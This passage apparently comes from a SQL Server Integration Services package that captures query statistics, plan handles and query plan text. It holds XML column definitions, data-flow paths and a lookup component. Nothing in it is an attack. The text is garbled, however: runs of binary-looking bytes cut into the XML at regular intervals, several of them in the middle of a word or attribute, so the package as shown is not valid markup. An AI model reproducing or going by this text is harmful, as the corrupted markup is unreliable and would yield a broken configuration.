processing.Outputs[Union All Output 1].Columns[total_elapsed_time]" name="total_elapsed_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[max_worker_time]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[max_worker_time]" name="max_worker_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[min_worker_time]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[min_worker_time]" name="min_worker_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[min_physical_reads]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[min_physical_reads]" name="min_physical_reads"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[max_physical_reads]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[max_physical_reads]" name="max_physical_reads"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[min_logical_writes]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[min_logical_writes]" name="min_logical_writes"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[max_logical_writes]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Cre	!!!!!!!!!!!!!!!!!!!!!!!!`0>&*Hvate Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[max_logical_writes]" name="max_logical_writes"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[min_logical_reads]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[min_logical_reads]" name="min_logical_reads"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[max_logical_reads]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[max_logical_reads]" name="max_logical_reads"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[min_clr_time]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[min_clr_time]" name="min_clr_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[max_clr_time]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[max_clr_time]" name="max_clr_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[min_elapsed_time]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[min_elapsed_time]" name="min_elapsed_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[max_elapsed_time]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[max_elapsed_time]" name="max_elapsed_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[snapshot_id]" dataType="i4" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[snapshot_id]" name="snapshot_id"/><outputColumn refId="Packa	!!!!!!!!!!!!!!!!!!!!!!!!`1>X8Hvge\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[collection_time]" dataType="dbTimeStamp" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[collection_time]" name="collection_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[sql_handle]" dataType="bytes" length="64" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[sql_handle]" name="sql_handle"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[plan_handle]" dataType="bytes" length="64" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[plan_handle]" name="plan_handle"/></outputColumns><externalMetadataColumns/></output></outputs></component></components><paths><path refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch.Paths[Calculate TopN stats1]" endId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Right Input]" name="Calculate TopN stats" startId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MLTCST - split last snapshot.Outputs[Multicast Output 2]"/><path refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch.Paths[Calculate TopN stats]" endId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Inputs[Merge Join Right Input]" name="Calculate TopN stats" startId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MLTCST - split current snapshot.Outputs[Multicast Output 1]"/><path refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch.Paths[Derived Column Output3]" endId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RC - Number of interesting sql handles.Inputs[Row Count Input 1]" name="Derived Column Output" startId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRV - Add source_id (2).Outputs[Derived Column Output]"/><path refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch.Paths[Derived Column Output2]" endId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RC - Number of interesting plan handles.Inputs[Row Count Input 1]" name="Derived Column Output" startId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRV - Add source_id (1).Outp	!!!!!!!!!!!!!!!!!!!!!!!!`2>!I)Hvuts[Derived Column Output]"/><path refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch.Paths[Derived Column Output1]" endId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MLTCST - Split interesting queries.Inputs[Multicast Input 1]" name="Derived Column Output" startId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRC - Calculate delta value between last snapshot and current snapshot for every metric.Outputs[Derived Column Output]"/><path refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch.Paths[Derived Column Output4]" endId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Inputs[Union All Input 3]" name="Derived Column Output" startId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRV - Add plan_generation_num column.Outputs[Derived Column Output]"/><path refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch.Paths[Derived Column Output]" endId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MLTCST - split current snapshot.Inputs[Multicast Input 1]" name="Derived Column Output" startId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRC - Add SnapshotId column to current snapshot.Outputs[Derived Column Output]"/><path refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch.Paths[Interesting Requests]" endId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRV - Add plan_generation_num column.Inputs[Derived Column Input]" name="Interesting Requests" startId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SPLT - Identify interesting running requests.Outputs[Interesting Requests]"/><path refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch.Paths[Merge Join Output]" endId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RC - Row count after TopN queries.Inputs[Row Count Input 1]" name="Merge Join Output" startId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output]"/><path refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch.Paths[Merge Join Output1]" endId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRC - Calculate delta value between last snapshot and current snapshot for every metric.Inputs[Derived Column Input]" name="Merge Join Output" startId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output]"/><path refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch.Paths[Multicast Output 2]" endId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRV - Add source_id (1).Inputs[Derived Column Input]" 	!!!!!!!!!!!!!!!!!!!!!!!!`3>%KHvname="Multicast Output 2" startId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MLTCST - Split to upload sql_handle and plan_handle.Outputs[Multicast Output 2]"/><path refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch.Paths[Multicast Output 3]" endId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Inputs[Union All Input 1]" name="Multicast Output 3" startId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MLTCST - Split interesting queries.Outputs[Multicast Output 3]"/><path refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch.Paths[Multicast Output 4]" endId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Find unique sql_handle values.Inputs[Sort Input]" name="Multicast Output 4" startId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MLTCST - Split to upload sql_handle and plan_handle.Outputs[Multicast Output 4]"/><path refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch.Paths[OLE DB Destination Error Output1]" endId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RC - Number of not inserted plan handles.Inputs[Row Count Input 1]" name="OLE DB Destination Error Output" startId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Upload interesting plan handles.Outputs[OLE DB Destination Error Output]"/><path refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch.Paths[OLE DB Destination Error Output]" endId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RC - Number of not inserted sql handles.Inputs[Row Count Input 1]" name="OLE DB Destination Error Output" startId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Upload interesting sql handles.Outputs[OLE DB Destination Error Output]"/><path refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch.Paths[OLE DB Source Output]" endId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RC - Row count from dm_exec_query_stats.Inputs[Row Count Input 1]" name="OLE DB Source Output" startId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output]"/><path refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch.Paths[Process TopN1]" endId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Inputs[Union All Input 3]" name="Process TopN" startId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MLTCST - split last snapshot.Outputs[Multicast Output 1]"/><path refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch.Paths[Process TopN]" endId="Package\SEQ - Capture	!!!!!!!!!!!!!!!!!!!!!!!!`4>)켲<Hv and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Inputs[Union All Input 2]" name="Process TopN" startId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MLTCST - split current snapshot.Outputs[Multicast Output 2]"/><path refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch.Paths[Raw File Source Output]" endId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MLTCST - split last snapshot.Inputs[Multicast Input 1]" name="Raw File Source Output" startId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output]"/><path refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch.Paths[Raw File Source Output1]" endId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SPLT - Identify interesting running requests.Inputs[Conditional Split Input]" name="Raw File Source Output" startId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output]"/><path refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch.Paths[Row Count Output 13]" endId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Upload interesting sql handles.Inputs[OLE DB Destination Input]" name="Row Count Output 1" startId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RC - Number of interesting sql handles.Outputs[Row Count Output 1]"/><path refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch.Paths[Row Count Output 1]" endId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRC - Add SnapshotId column to current snapshot.Inputs[Derived Column Input]" name="Row Count Output 1" startId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RC - Row count from dm_exec_query_stats.Outputs[Row Count Output 1]"/><path refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch.Paths[Row Count Output 11]" endId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Inputs[Sort Input]" name="Row Count Output 1" startId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RC - Row count after TopN queries.Outputs[Row Count Output 1]"/><path refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch.Paths[Row Count Output 12]" endId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Upload interesting plan handles.Inputs[OLE DB Destination Input]" name="Row Count Output 1" startId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RC - Number of interesting plan handles.Outputs[Row Count Output 1]"/><path refId="Package\SEQ -	!!!!!!!!!!!!!!!!!!!!!!!!`5>-H>Hv Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch.Paths[Save1]" endId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input]" name="Save" startId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MLTCST - Split interesting queries.Outputs[Multicast Output 2]"/><path refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch.Paths[Save]" endId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFD - Save current snapshot in temp file.Inputs[Raw File Destination Input]" name="Save" startId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MLTCST - split current snapshot.Outputs[Multicast Output 3]"/><path refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch.Paths[Sort Output3]" endId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Left Input]" name="Sort Output" startId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output]"/><path refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch.Paths[Sort Output]" endId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Inputs[Merge Join Left Input]" name="Sort Output" startId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Sort columns by sql_handle, plan_handle.Outputs[Sort Output]"/><path refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch.Paths[Sort Output1]" endId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MLTCST - Split to upload sql_handle and plan_handle.Inputs[Multicast Input 1]" name="Sort Output" startId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Find unique sql_handle and plan_handle combinations.Outputs[Sort Output]"/><path refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch.Paths[Sort Output2]" endId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRV - Add source_id (2).Inputs[Derived Column Input]" name="Sort Output" startId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Find unique sql_handle values.Outputs[Sort Output]"/><path refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch.Paths[TxTopQueries Only Output]" endId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Sort columns by sql_handle, plan_handle.Inputs[Sort Input]" name="TxTopQueries Only Output" startId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\TPQ - Analyze Interesting Queries.Outputs[TxTopQueries Only Ou	!!!!!!!!!!!!!!!!!!!!!!!!`6>R,Hvtput]"/><path refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch.Paths[Union All Output 11]" endId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Find unique sql_handle and plan_handle combinations.Inputs[Sort Input]" name="Union All Output 1" startId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1]"/><path refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch.Paths[Union All Output 1]" endId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\TPQ - Analyze Interesting Queries.Inputs[TxTopQueries Only Input]" name="Union All Output 1" startId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1]"/></paths></pipeline></DTS:ObjectData></DTS:Executable><DTS:Executable DTS:refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text" DTS:CreationName="SSIS.Pipeline.3" DTS:DelayValidation="True" DTS:Description="Data Flow Task" DTS:DTSID="{EA6DD0E7-38BB-42D8-AD2A-552098635875}" DTS:ExecutableType="SSIS.Pipeline.3" DTS:FailParentOnFailure="True" DTS:LocaleID="-1" DTS:MaxErrorCount="0" DTS:ObjectName="DFT - Find and save plan text" DTS:TaskContact="Performs high-performance data extraction, transformation and loading;Microsoft Corporation; Microsoft SQL Server v10; (C) 2007 Microsoft Corporation; All Rights Reserved;http://www.microsoft.com/sql/support/default.asp;1"><DTS:Variables><DTS:Variable DTS:CreationName="" DTS:DTSID="{9AF62F8B-3BF0-4B7E-95F6-74C81F03F8C4}" DTS:EvaluateAsExpression="True" DTS:Expression="&quot;EXEC [snapshots].[sp_get_unknown_query_plan] @source_id = &quot; +  (DT_WSTR,50) @[User::SourceId]" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="SourceSqlQuery"><DTS:VariableValue DTS:DataType="8">EXEC [snapshots].[sp_get_unknown_query_plan] @source_id = 1</DTS:VariableValue></DTS:Variable></DTS:Variables><DTS:ObjectData><pipeline BLOBTempStoragePath="" bufferTempStoragePath="" version="1"><components><component refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\LKUP - Look up query plans on target server" componentClassID="{671046B0-AA63-4C9F-90E4-C06E0B710CE3}" contactInfo="Lookup;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;5" description="Looks up values in a reference dataset by using exact matching." name="LKUP - Look up query plans on target server" usesDispositions="true" version="6"><properties><property dataType="System.String" description="Specifies the SQL statement that generates the lookup table." expressionType="Notify" name="SqlCommand" UITypeEditor="Microsoft.DataTransformationServices.Controls.ModalMultilineStringEditor, Microsoft.DataTransformationServices.Controls, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91">[dbo].[sp_syscollector_text_query_plan_lookpup] ?,?,?</property><property dataType="System.String" description="Specifies a SQL statement that uses parameters to generate the lookup table." expressionType="Notify" name="SqlCommandParam" UITypeEditor="Microsoft.DataTransformationServices.Controls.ModalMultilineStringEditor, Microsoft.DataTransformationServices.Controls, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91">[dbo].[sp_syscollector_text_query_plan_lookpup] ?,?,?</property><property dataType="System.Int32" description="Specifies the type	!!!!!!!!!!!!!!!!!!!!!!!!`7>{lHv of connection used to access the reference dataset." name="ConnectionType" typeConverter="LookupConnectionType">0</property><property dataType="System.Int32" description="Specifies the cache type of the lookup table." name="CacheType" typeConverter="CacheType">2</property><property dataType="System.Int32" description="Specifies how the Lookup transformation handles rows without matching entries in the reference data set." name="NoMatchBehavior" typeConverter="LookupNoMatchBehavior">1</property><property dataType="System.Int32" description="Specifies the percentage of the cache that is allocated for rows with no matching entries in the reference dataset." name="NoMatchCachePercentage">0</property><property dataType="System.Int32" description="Maximum Memory Usage for Reference Cache on a 32 bit platform." name="MaxMemoryUsage">25</property><property dataType="System.Int64" description="Maximum Memory Usage for Reference Cache on a 64 bit platform." name="MaxMemoryUsage64">25</property><property dataType="System.String" description="Indicates whether to reference metadata in an XML format." name="ReferenceMetadataXml">&lt;referenceMetadata&gt;&lt;referenceColumns&gt;&lt;referenceColumn name="plan_handle" dataType="DT_BYTES" length="64" precision="0" scale="0" codePage="0"/&gt;&lt;referenceColumn name="statement_start_offset" dataType="DT_I4" length="0" precision="0" scale="0" codePage="0"/&gt;&lt;referenceColumn name="statement_end_offset" dataType="DT_I4" length="0" precision="0" scale="0" codePage="0"/&gt;&lt;referenceColumn name="database_id" dataType="DT_I2" length="0" precision="0" scale="0" codePage="0"/&gt;&lt;referenceColumn name="object_id" dataType="DT_I4" length="0" precision="0" scale="0" codePage="0"/&gt;&lt;referenceColumn name="object_name" dataType="DT_WSTR" length="128" precision="0" scale="0" codePage="0"/&gt;&lt;referenceColumn name="query_plan" dataType="DT_NTEXT" length="0" precision="0" scale="0" codePage="0"/&gt;&lt;/referenceColumns&gt;&lt;/referenceMetadata&gt;</property><property containsID="true" dataType="System.String" description="Specifies the list of lineage identifiers that map to the parameters that the SQL statement in the SQLCommand property uses. Entries in the list are separated by semicolons." name="ParameterMap">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODS - Get all plan handles without saved plan.Outputs[OLE DB Source Output].Columns[plan_handle]};#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODS - Get all plan handles without saved plan.Outputs[OLE DB Source Output].Columns[statement_start_offset]};#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODS - Get all plan handles without saved plan.Outputs[OLE DB Source Output].Columns[statement_end_offset]};</property><property dataType="System.Int32" description="Specifies the column code page to use when code page information is unavailable from the data source." name="DefaultCodePage">1252</property><property dataType="System.Boolean" description="Determines whether duplicate keys in the reference data should be treated as errors when full cache mode is used." name="TreatDuplicateKeysAsError">false</property></properties><connections><connection refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\LKUP - Look up query plans on target server.Connections[OleDbConnection]" connectionManagerID="Package.ConnectionManagers[ConfigConnection2]" connectionManagerRefId="Package.ConnectionManagers[ConfigConnection2]" description="Connection manager used to access lookup data." name="OleDbConnection"/></connections><inputs><input refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\LKUP - Look up query plans on target server.Inputs[Lookup Input]" name="Lookup Input"><inputC	!!!!!!!!!!!!!!!!!!!!!!!!`8>׊Hvolumns><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\LKUP - Look up query plans on target server.Inputs[Lookup Input].Columns[statement_start_offset]" cachedDataType="i4" cachedName="statement_start_offset" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\ODS - Get all plan handles without saved plan.Outputs[OLE DB Source Output].Columns[statement_start_offset]"><properties><property dataType="System.String" description="Specifies the column in the reference table that a column joins." name="JoinToReferenceColumn">statement_start_offset</property><property dataType="System.Null" description="Specifies the column in the reference table from which a column is copied." name="CopyFromReferenceColumn"/></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Find and save plan text\LKUP - Look up query plans on target server.Inputs[Lookup Input].Columns[statement_end_offset]" cachedDataType="i4" cachedName="statement_end_offset" lineageId="Package\SEQ - Capture and analyze query statistics 